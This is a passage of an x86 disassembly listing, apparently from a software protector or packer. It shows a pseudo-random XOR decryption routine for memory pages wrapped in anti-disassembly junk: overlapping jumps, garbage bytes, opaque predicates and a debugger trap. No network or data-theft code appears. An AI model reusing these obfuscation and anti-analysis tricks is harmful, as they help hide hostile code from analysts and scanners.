		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-64h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-50h], eax
		mov	dword ptr [ebp-78h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-6Ch], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-68h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-74h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-70h], edx
		mov	ecx, [ebp-68h]
		imul	ecx, [ebp-70h]
		mov	edx, [ebp-6Ch]
		imul	edx, [ebp-70h]
		mov	eax, [ebp-68h]
		imul	eax, [ebp-74h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-78h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-44h], eax
		mov	dword ptr [ebp-8Ch], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-80h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-7Ch], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-88h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-84h], edx
		mov	ecx, [ebp-7Ch]
		imul	ecx, [ebp-84h]
		mov	edx, [ebp-80h]
		imul	edx, [ebp-84h]
		mov	eax, [ebp-7Ch]
		imul	eax, [ebp-88h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-8Ch]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-48h], eax
		mov	dword ptr [ebp-0A0h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-94h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-90h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-9Ch], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-98h], edx
		mov	ecx, [ebp-90h]
		imul	ecx, [ebp-98h]
		mov	edx, [ebp-94h]
		imul	edx, [ebp-98h]
		mov	eax, [ebp-90h]
		imul	eax, [ebp-9Ch]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-0A0h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-4Ch], eax
		mov	edx, [ebp-48h]
		shl	edx, 8
		mov	eax, [ebp-44h]
		shl	eax, 10h
		mov	ecx, [ebp-50h]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-4Ch]
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		xor	eax, ecx
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BCFEF


loc_4BCFEC:				; CODE XREF: .text:004BD00Dj
		jmp	short near ptr loc_4BD00F+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BCFEF:				; CODE XREF: .text:004BCFEAj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BD002
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BCFF8:				; CODE XREF: .text:004BD004j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD006
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD002:				; CODE XREF: .text:004BCFF3j
		xor	eax, eax
		jz	short loc_4BCFF8


loc_4BD006:				; CODE XREF: .text:004BCFFFj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BCFEC


loc_4BD00F:				; CODE XREF: .text:loc_4BCFECj
		jmp	near ptr 92B26D75h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		xor	eax, dword_4ED41C
		xor	eax, dword_4ED424
		xor	eax, dword_4ED3EC
		xor	eax, dword_4ED428
		xor	eax, dword_4ED3AC
		mov	[ebp-1Ch], eax
		jo	short loc_4BD047
		jl	short loc_4BD045


loc_4BD042:				; CODE XREF: .text:loc_4BD045j
					; .text:loc_4BD047j
		jmp	short loc_4BD049
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BD045:				; CODE XREF: .text:004BD040j
		jz	short loc_4BD042


loc_4BD047:				; CODE XREF: .text:004BD03Ej
		jmp	short loc_4BD042
; ---------------------------------------------------------------------------


loc_4BD049:				; CODE XREF: .text:loc_4BD042j
					; .text:004BD067j
		mov	ecx, [ebp-4]
		cmp	ecx, [ebp-0Ch]
		jnb	short loc_4BD069
		mov	edx, [ebp-4]
		mov	eax, [edx]
		xor	eax, [ebp-1Ch]
		mov	ecx, [ebp-4]
		mov	[ecx], eax
		mov	edx, [ebp-4]
		add	edx, 4
		mov	[ebp-4], edx
		jmp	short loc_4BD049
; ---------------------------------------------------------------------------


loc_4BD069:				; CODE XREF: .text:004BD04Fj
		jo	short loc_4BD072
		jl	short loc_4BD070


loc_4BD06D:				; CODE XREF: .text:loc_4BD070j
					; .text:loc_4BD072j
		jmp	short loc_4BD074
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BD070:				; CODE XREF: .text:004BD06Bj
		jz	short loc_4BD06D


loc_4BD072:				; CODE XREF: .text:loc_4BD069j
		jmp	short loc_4BD06D
; ---------------------------------------------------------------------------


loc_4BD074:				; CODE XREF: .text:loc_4BD06Dj
		mov	eax, [ebp+8]
		mov	ecx, dword_4F4774
		mov	edx, [ecx+eax*4]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+8]
		mov	ecx, dword_4F4774
		mov	[ecx+eax*4], edx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax


loc_4BD0A6:				; CODE XREF: .text:004BD114j
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BD0B2


loc_4BD0AF:				; CODE XREF: .text:004BD0D0j
		jmp	short near ptr loc_4BD0D2+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD0B2:				; CODE XREF: .text:004BD0ADj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BD0C5
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BD0BB:				; CODE XREF: .text:004BD0C7j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD0C9
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD0C5:				; CODE XREF: .text:004BD0B6j
		xor	eax, eax
		jz	short loc_4BD0BB


loc_4BD0C9:				; CODE XREF: .text:004BD0C2j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BD0AF


loc_4BD0D2:				; CODE XREF: .text:loc_4BD0AFj
		jmp	near ptr 92B26E38h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		xor	edx, edx
		mov	dl, byte_4F4780
		test	edx, edx
		jz	short loc_4BD0F2
		mov	eax, [ebp-18h]
		or	ah, 1
		mov	[ebp-10h], eax
		jmp	short loc_4BD0F9
; ---------------------------------------------------------------------------


loc_4BD0F2:				; CODE XREF: .text:004BD0E5j
		mov	dword ptr [ebp-10h], 1


loc_4BD0F9:				; CODE XREF: .text:004BD0F0j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BD130 ; CODE	XREF: .text:loc_4BD130j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BD108:				; CODE XREF: .text:004BD129j
		jmp	short loc_4BD127
; ---------------------------------------------------------------------------


loc_4BD10A:				; CODE XREF: .text:loc_4BD127j
		xor	ecx, ecx


loc_4BD10C:				; CODE XREF: .text:004BD11Bj
		jz	short $+2
		jmp	short loc_4BD120
; ---------------------------------------------------------------------------


loc_4BD110:				; CODE XREF: .text:004BD124j
		stc
		xor	ecx, 3
		jz	short loc_4BD0A6
		jmp	short loc_4BD11D
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BD119:				; CODE XREF: .text:loc_4BD11Dj
		jmp	short loc_4BD12B
; ---------------------------------------------------------------------------
		jz	short loc_4BD10C


loc_4BD11D:				; CODE XREF: .text:004BD116j
		jnb	short loc_4BD119
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BD120:				; CODE XREF: .text:004BD10Ej
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BD110
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BD127:				; CODE XREF: .text:loc_4BD108j
		jmp	short loc_4BD10A
; ---------------------------------------------------------------------------
		jmp	short loc_4BD108
; ---------------------------------------------------------------------------


loc_4BD12B:				; CODE XREF: .text:loc_4BD119j
		repne sbb al, 0DBh
		jmp	short loc_4BD133
; ---------------------------------------------------------------------------


loc_4BD130:				; CODE XREF: .text:004BD103j
		jmp	short near ptr loc_4BD103+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BD133:				; CODE XREF: .text:004BD12Ej
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		xor	ecx, ecx
		mov	cl, byte_4F4781
		test	ecx, ecx
		jz	loc_4BD4DE
		mov	dword ptr [ebp-0C4h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0B8h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0B4h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0C0h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0BCh], edx
		mov	ecx, [ebp-0B4h]
		imul	ecx, [ebp-0BCh]
		mov	edx, [ebp-0B8h]
		imul	edx, [ebp-0BCh]
		mov	eax, [ebp-0B4h]
		imul	eax, [ebp-0C0h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-0C4h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-0B0h], eax
		mov	dword ptr [ebp-0D8h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0CCh], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0C8h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0D4h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0D0h], edx
		mov	ecx, [ebp-0C8h]
		imul	ecx, [ebp-0D0h]
		mov	edx, [ebp-0CCh]
		imul	edx, [ebp-0D0h]
		mov	eax, [ebp-0C8h]
		imul	eax, [ebp-0D4h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-0D8h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-0A4h], eax
		mov	dword ptr [ebp-0ECh], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0E0h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0DCh], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0E8h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0E4h], edx
		mov	ecx, [ebp-0DCh]
		imul	ecx, [ebp-0E4h]
		mov	edx, [ebp-0E0h]
		imul	edx, [ebp-0E4h]
		mov	eax, [ebp-0DCh]
		imul	eax, [ebp-0E8h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-0ECh]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-0A8h], eax
		mov	dword ptr [ebp-100h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0F4h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0F0h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0FCh], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-0F8h], edx
		mov	ecx, [ebp-0F0h]
		imul	ecx, [ebp-0F8h]
		mov	edx, [ebp-0F4h]
		imul	edx, [ebp-0F8h]
		mov	eax, [ebp-0F0h]
		imul	eax, [ebp-0FCh]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-100h]
		xor	edx, edx
		mov	ecx, 2710h


loc_4BD4A0:				; CODE XREF: .text:loc_4BD517j
		div	ecx
		and	eax, 0FFh
		mov	[ebp-0ACh], eax
		mov	edx, [ebp-0A8h]
		shl	edx, 8
		mov	eax, [ebp-0A4h]
		shl	eax, 10h
		mov	ecx, [ebp-0B0h]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-0ACh]
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		xor	eax, ecx


loc_4BD4D9:				; CODE XREF: .text:004BD536j
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax


loc_4BD4DE:				; CODE XREF: .text:004BD147j
		jmp	loc_4BD952
; ---------------------------------------------------------------------------


loc_4BD4E3:				; CODE XREF: .text:004BCBE4j
		mov	edx, [ebp+8]
		mov	eax, dword_4F4774
		mov	ecx, [eax+edx*4]
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_4BD615
		pusha
		xor	eax, eax
		jnz	short loc_4BD500
		jmp	short loc_4BD515
; ---------------------------------------------------------------------------


loc_4BD500:				; CODE XREF: .text:004BD4FCj
		jmp	short loc_4BD535
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BD507:				; CODE XREF: .text:loc_4BD515j
		jo	short loc_4BD517
		jmp	short near ptr loc_4BD517+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BD515:				; CODE XREF: .text:004BD4FEj
		jz	short loc_4BD507


loc_4BD517:				; CODE XREF: .text:loc_4BD507j
					; .text:004BD509j ...
		jmp	short loc_4BD4A0
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 8B6133A0h, 4ED3B015h, 0FC153300h, 33004ED3h,	4ED3F015h
		dd 18EAC100h
		db 88h
; ---------------------------------------------------------------------------


loc_4BD535:				; CODE XREF: .text:loc_4BD500j
		push	ebp
		loopne	loc_4BD4D9
		jl	short loc_4BD581
		dec	edi
		add	[ecx+4D8BDC45h], cl
		fadd	qword ptr [ecx+1000C1h]
		add	[ecx+558BD84Dh], cl ; CODE XREF: .text:004BD569j
		fdivr	qword ptr [ebx]
		push	ebp
		fdiv	dword ptr [ebx+18h]
		mov	eax, [ebp-24h]
		mov	cl, [eax]
		xor	cl, [ebp-20h]
		mov	edx, [ebp-24h]
		mov	[edx], cl
		mov	eax, [ebp-24h]
		add	eax, 1
		mov	[ebp-24h], eax
		jmp	short near ptr loc_4BD547+4
; ---------------------------------------------------------------------------
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BD5A2 ; CODE	XREF: .text:loc_4BD5A2j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BD57A:				; CODE XREF: .text:004BD59Bj
		jmp	short loc_4BD599
; ---------------------------------------------------------------------------


loc_4BD57C:				; CODE XREF: .text:loc_4BD599j
		xor	ecx, ecx


loc_4BD57E:				; CODE XREF: .text:004BD58Dj
		jz	short $+2
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD581:				; CODE XREF: .text:004BD538j
					; .text:004BD596j
		adc	cl, bh
		xor	ecx, 3
		jz	short near ptr loc_4BD517+1
		jmp	short loc_4BD58F
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BD58B:				; CODE XREF: .text:loc_4BD58Fj
		jmp	short loc_4BD59D
; ---------------------------------------------------------------------------
		jz	short loc_4BD57E


loc_4BD58F:				; CODE XREF: .text:004BD588j
		jnb	short loc_4BD58B
		repne sbb bl, bl
		xor	ebx, ebx
		jmp	short near ptr loc_4BD581+1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BD599:				; CODE XREF: .text:loc_4BD57Aj
		jmp	short loc_4BD57C
; ---------------------------------------------------------------------------
		jmp	short loc_4BD57A
; ---------------------------------------------------------------------------


loc_4BD59D:				; CODE XREF: .text:loc_4BD58Bj
		repne sbb al, 0DBh
		jmp	short loc_4BD5A5
; ---------------------------------------------------------------------------


loc_4BD5A2:				; CODE XREF: .text:004BD575j
		jmp	short near ptr loc_4BD575+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BD5A5:				; CODE XREF: .text:004BD5A0j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4774
		mov	eax, [edx+ecx*4]
		or	al, 2
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4774
		mov	[edx+ecx*4], eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BD5EC


loc_4BD5E9:				; CODE XREF: .text:004BD60Aj
		jmp	short near ptr loc_4BD60C+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD5EC:				; CODE XREF: .text:004BD5E7j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BD5FF
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4BD5F5:				; CODE XREF: .text:004BD601j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD603
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD5FF:				; CODE XREF: .text:004BD5F0j
		xor	eax, eax
		jz	short loc_4BD5F5


loc_4BD603:				; CODE XREF: .text:004BD5FCj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BD5E9


loc_4BD60C:				; CODE XREF: .text:loc_4BD5E9j
		jmp	near ptr 92B27372h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax


loc_4BD615:				; CODE XREF: .text:004BD4F3j
		xor	eax, eax
		mov	al, byte_4F4744
		test	eax, eax
		jz	short loc_4BD649
		mov	byte_4F4744, 0
		xor	ecx, ecx
		mov	cl, byte_4F4780
		test	ecx, ecx
		jz	short loc_4BD63E
		mov	edx, [ebp-18h]
		or	dh, 1
		mov	[ebp-10h], edx
		jmp	short loc_4BD644
; ---------------------------------------------------------------------------


loc_4BD63E:				; CODE XREF: .text:004BD631j
		mov	eax, [ebp-18h]
		mov	[ebp-10h], eax


loc_4BD644:				; CODE XREF: .text:004BD63Cj
		jmp	loc_4BD952
; ---------------------------------------------------------------------------


loc_4BD649:				; CODE XREF: .text:004BD61Ej
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		xor	edx, dword_4ED41C
		xor	edx, dword_4ED424
		xor	edx, dword_4ED3EC
		xor	edx, dword_4ED428 ; CODE XREF: .text:loc_4BD6D9j
		xor	edx, dword_4ED3AC
		mov	[ebp-2Ch], edx


loc_4BD66F:				; CODE XREF: .text:004BD68Dj
		mov	eax, [ebp-4]
		cmp	eax, [ebp-0Ch]
		jnb	short loc_4BD68F
		mov	ecx, [ebp-4]
		mov	edx, [ecx]
		xor	edx, [ebp-2Ch]
		mov	eax, [ebp-4]
		mov	[eax], edx
		mov	ecx, [ebp-4]
		add	ecx, 4
		mov	[ebp-4], ecx
		jmp	short loc_4BD66F
; ---------------------------------------------------------------------------


loc_4BD68F:				; CODE XREF: .text:004BD675j
		mov	edx, [ebp+8]
		mov	eax, dword_4F4748
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_4BD84C
		jo	short loc_4BD6AA
		jl	short loc_4BD6A8


loc_4BD6A5:				; CODE XREF: .text:loc_4BD6A8j
					; .text:loc_4BD6AAj
		jmp	short loc_4BD6AC
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BD6A8:				; CODE XREF: .text:004BD6A3j
		jz	short loc_4BD6A5


loc_4BD6AA:				; CODE XREF: .text:004BD6A1j
		jmp	short loc_4BD6A5
; ---------------------------------------------------------------------------


loc_4BD6AC:				; CODE XREF: .text:loc_4BD6A5j
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4748
		mov	eax, [edx+ecx*4]
		mov	[ebp-34h], eax
		pusha
		xor	eax, eax
		jnz	short loc_4BD6C2
		jmp	short loc_4BD6D7
; ---------------------------------------------------------------------------


loc_4BD6C2:				; CODE XREF: .text:004BD6BEj
		jmp	short loc_4BD6F7
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BD6C9:				; CODE XREF: .text:loc_4BD6D7j
		jo	short loc_4BD6D9
		jmp	short near ptr loc_4BD6D9+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BD6D7:				; CODE XREF: .text:004BD6C0j
		jz	short loc_4BD6C9


loc_4BD6D9:				; CODE XREF: .text:loc_4BD6C9j
					; .text:004BD6CBj
		jmp	short near ptr loc_4BD660+2
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 0CC7D8361h, 6840F00h, 51000001h, 0D1F7C90Fh
					; CODE XREF: .text:loc_4BD7ECj
		dd 0B8D0F750h
		db 6Dh,	69h, 65h
; ---------------------------------------------------------------------------


loc_4BD6F7:				; CODE XREF: .text:loc_4BD6C2j
					; .text:loc_4BD76Ej
		insb
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BD70E


loc_4BD70B:				; CODE XREF: .text:004BD72Cj
		jmp	short near ptr loc_4BD72E+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD70E:				; CODE XREF: .text:004BD709j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BD721
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BD717:				; CODE XREF: .text:004BD723j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD725
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD721:				; CODE XREF: .text:004BD712j
		xor	eax, eax
		jz	short loc_4BD717


loc_4BD725:				; CODE XREF: .text:004BD71Ej
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BD70B


loc_4BD72E:				; CODE XREF: .text:loc_4BD70Bj
		jmp	near ptr 92B27494h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	ecx, [ebp+8]
		shl	ecx, 0Ch
		mov	edx, dword_4F4754 ; CODE XREF: .text:004BD7AFj
		add	edx, ecx
		mov	eax, [ebp-34h]
		mov	ecx, [eax+4]
		sub	ecx, edx
		mov	[ebp-38h], ecx
		pusha
		xor	eax, eax
		jnz	short loc_4BD757
		jmp	short loc_4BD76C
; ---------------------------------------------------------------------------


loc_4BD757:				; CODE XREF: .text:004BD753j
		jmp	short loc_4BD78C
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BD75E:				; CODE XREF: .text:loc_4BD76Cj
		jo	short loc_4BD76E
		jmp	short near ptr loc_4BD76E+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BD76C:				; CODE XREF: .text:004BD755j
		jz	short loc_4BD75E


loc_4BD76E:				; CODE XREF: .text:loc_4BD75Ej
					; .text:004BD760j
		jmp	short loc_4BD6F7
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:558B6133h
		int	3		; Trap to Debugger
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp-34h]
		mov	edx, [ecx]
		push	edx
		mov	eax, dword_4F477C
		add	eax, [ebp-38h]
		push	eax


loc_4BD78C:				; CODE XREF: .text:loc_4BD757j
		call	_memcpy_1
		add	esp, 0Ch
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BD7CB ; CODE	XREF: .text:loc_4BD7CBj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BD7A3:				; CODE XREF: .text:004BD7C4j
		jmp	short loc_4BD7C2
; ---------------------------------------------------------------------------


loc_4BD7A5:				; CODE XREF: .text:loc_4BD7C2j
		xor	ecx, ecx


loc_4BD7A7:				; CODE XREF: .text:004BD7B6j
		jz	short $+2
		jmp	short loc_4BD7BB
; ---------------------------------------------------------------------------


loc_4BD7AB:				; CODE XREF: .text:004BD7BFj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BD73D+4
